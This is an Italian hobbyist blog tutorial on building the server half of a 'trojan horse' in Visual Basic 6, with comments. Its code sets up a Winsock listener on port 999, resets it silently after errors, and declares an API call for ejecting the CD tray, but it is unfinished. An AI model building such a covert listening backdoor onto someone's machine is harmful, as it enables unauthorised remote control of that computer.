How to create trojan horse - Creare Trojan Horse - Lato server

Costruito il nostro client [ trovate i link della guida a dx nella sezione visual basic], dobbiamo finalmente creare la parte server del nostro programmino...

Apriamo un nuovo progetto Visual Basic e scegliamo EXE Standard, rinominiamo il Name con server e il Caption con quello che volete voi.
Fate click su Progetto->Componenti ed inseriamo Microsoft Winsock Control 6.0; rinominiamolo tcpserver!

Doppio click sul form e inserite il seguente codice:
Private Sub Form_Load()
tcpserver.LocalPort = 999 'in ascolto sulla porta 999
tcpserver.Listen
End Sub


Io ho scelto la porta 999, scegliete voi...

Andiamo ad inserire il codice per il winsock:

Private Sub tcpserver_ConnectionRequest(ByVal RequestID As Long)
tcpserver.Close
tcpserver.Accept RequestID
End Sub


Successivamente gestiamo gli errori:

Private Sub tcpserver_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
On Error Resume Next
tcpserver.Close
tcpserver.Listen
End Sub


Prima di concludere inseriamo un modulo:

Progetto->Inserisci Modulo --- Fate click su Nuovo

Vogliamo aprire e chiudere il cd rom quindi ci server una chiamata alle API

Dovete aprire Api Viewer e caricare WIN32API. Se non lo trovate, dovreste cercare in

Programmi->Microsoft Visual Studio->Common->Tools->WinApi
scegliere mciSendString.
Se non trovate tutto questo nn perdetevi d'animo:

Inserite questo codice nel modulo appena aggiunto:

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim SendStr As String, ReturnStr As String


Adesso è tutto pronto per aprire e chiudere il cd-rom....

Alla prossima puntata :P

Commenti

  1. scusa ma non hai inserito il Data Arrival nel server

    RispondiElimina
  2. probabilmente non ho ancora inserito molte cose :P
    nn è ancora finita la guida, quando ho tempo aggiornero'

    RispondiElimina

Posta un commento